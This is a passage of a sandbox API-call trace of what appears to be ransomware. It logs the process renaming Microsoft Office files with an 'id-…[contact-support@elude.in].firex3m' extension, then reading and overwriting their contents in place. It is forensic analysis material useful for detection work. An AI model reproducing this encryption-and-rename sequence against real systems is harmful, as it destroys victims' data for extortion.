lpMem=0x6ed88b0 | out: hHeap=0x630000) returned 1 [0155.673] GetProcessHeap () returned 0x630000 [0155.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdde40 | out: hHeap=0x630000) returned 1 [0155.673] GetProcessHeap () returned 0x630000 [0155.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0155.673] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x22bcff1f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5f494, dwReserved0=0xb847496, dwReserved1=0x6fdde38, cFileName="MSPUB.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPUBH~1.FIR")) returned 0x6d5400 [0155.673] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0155.673] Sleep (dwMilliseconds=0x1) [0157.889] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap", len=0x65 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap") returned 1 [0157.889] GetProcessHeap () returned 0x630000 [0157.889] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b64) returned 0x707d3d0 [0157.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\powerviewres.ja.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0157.890] CloseHandle (hObject=0x4bc) returned 1 [0157.890] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0157.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\powerviewres.ja.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\powerviewres.ja.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0157.891] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0157.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50074, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5040 [0157.892] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0157.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\ja\\powerviewres.ja.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0157.892] GetProcessHeap () returned 0x630000 [0157.892] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70c78f8 [0157.893] GetProcessHeap () returned 0x630000 [0157.893] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70d2d28 [0157.893] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.893] ReadFile (in: hFile=0x4bc, lpBuffer=0x70c78f8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c78f8*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.453] GetProcessHeap () returned 0x630000 [0165.453] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0165.453] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.453] WriteFile (in: hFile=0x4bc, lpBuffer=0x70d2d28*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70d2d28*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0165.454] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.454] WriteFile (in: hFile=0x4bc, lpBuffer=0x70de127*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de127*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.456] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.456] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.456] CloseHandle (hObject=0x4bc) returned 1 [0165.456] GetProcessHeap () returned 0x630000 [0165.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70d2d28 | out: hHeap=0x630000) returned 1 [0165.456] GetProcessHeap () returned 0x630000 [0165.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c78f8 | out: hHeap=0x630000) returned 1 [0165.457] GetProcessHeap () returned 0x630000 [0165.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0165.457] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.457] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ja\\PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x146e0bdc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28911b06, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x50098, dwReserved0=0xb847496, dwReserved1=0x70c78f0, cFileName="PowerViewRes.ja.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0165.457] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.457] Sleep (dwMilliseconds=0x1) [0165.463] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll") returned 1 [0165.463] GetProcessHeap () returned 0x630000 [0165.463] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bd8) returned 0x707d3d0 [0165.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0166.742] CloseHandle (hObject=0x694) returned 1 [0166.742] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.743] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0170.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0170.997] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0170.998] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0170.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1035\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0170.998] GetProcessHeap () returned 0x630000 [0170.998] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73f9380 [0170.999] GetProcessHeap () returned 0x630000 [0170.999] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74047b0 [0170.999] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.999] ReadFile (in: hFile=0x694, lpBuffer=0x73f9380, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x73f9380*, lpNumberOfBytesRead=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.073] GetProcessHeap () returned 0x630000 [0178.073] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317720 [0178.073] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.074] WriteFile (in: hFile=0x694, lpBuffer=0x74047b0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x74047b0*, lpNumberOfBytesWritten=0x4abff0c*=0xb400, lpOverlapped=0x0) returned 1 [0178.074] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.074] WriteFile (in: hFile=0x694, lpBuffer=0x740fbaf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x740fbaf*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0178.074] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.074] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0178.075] CloseHandle (hObject=0x694) returned 1 [0178.075] GetProcessHeap () returned 0x630000 [0178.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74047b0 | out: hHeap=0x630000) returned 1 [0178.075] GetProcessHeap () returned 0x630000 [0178.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73f9380 | out: hHeap=0x630000) returned 1 [0178.075] GetProcessHeap () returned 0x630000 [0178.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317720 | out: hHeap=0x630000) returned 1 [0178.075] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0178.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x30175197, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x114e4, dwReserved0=0xb847496, dwReserved1=0x73f9378, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4f80 [0178.075] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0178.075] Sleep (dwMilliseconds=0x1) [0180.134] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml", len=0x6e | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml") returned 1 [0180.134] GetProcessHeap () returned 0x630000 [0180.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ab0) returned 0x707d3d0 [0180.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0182.822] CloseHandle (hObject=0x698) returned 1 [0182.822] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0182.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10b8, dwReserved0=0xab088724, dwReserved1=0x6f0063, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4e40 [0187.760] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0187.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\sr-latn-cs\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0187.760] GetProcessHeap () returned 0x630000 [0187.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x714508 [0187.760] GetProcessHeap () returned 0x630000 [0187.760] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x67be28 [0187.760] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.760] ReadFile (in: hFile=0x698, lpBuffer=0x714508, nNumberOfBytesToRead=0x10a0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x4abff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0187.804] GetProcessHeap () returned 0x630000 [0187.804] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317090 [0187.805] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.805] WriteFile (in: hFile=0x698, lpBuffer=0x67be28*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x67be28*, lpNumberOfBytesWritten=0x4abff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0187.805] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.813] WriteFile (in: hFile=0x698, lpBuffer=0x67cec7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cec7*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.813] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.814] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.814] CloseHandle (hObject=0x698) returned 1 [0187.814] GetProcessHeap () returned 0x630000 [0187.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67be28 | out: hHeap=0x630000) returned 1 [0187.814] GetProcessHeap () returned 0x630000 [0187.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0187.814] GetProcessHeap () returned 0x630000 [0187.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317090 | out: hHeap=0x630000) returned 1 [0187.814] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.814] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1681b941, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x35e4b488, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10dc, dwReserved0=0xb847496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0187.814] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0187.814] Sleep (dwMilliseconds=0x1) [0187.834] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx", len=0x53 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx") returned 1 [0187.834] GetProcessHeap () returned 0x630000 [0187.834] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29a0) returned 0x707d3d0 [0187.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0187.835] CloseHandle (hObject=0x700) returned 1 [0187.835] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.835] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.837] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f1d, dwReserved0=0x66002e, dwReserved1=0x720069, cFileName="bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWCAPI~1.FIR")) returned 0x6d5000 [0187.837] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0187.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 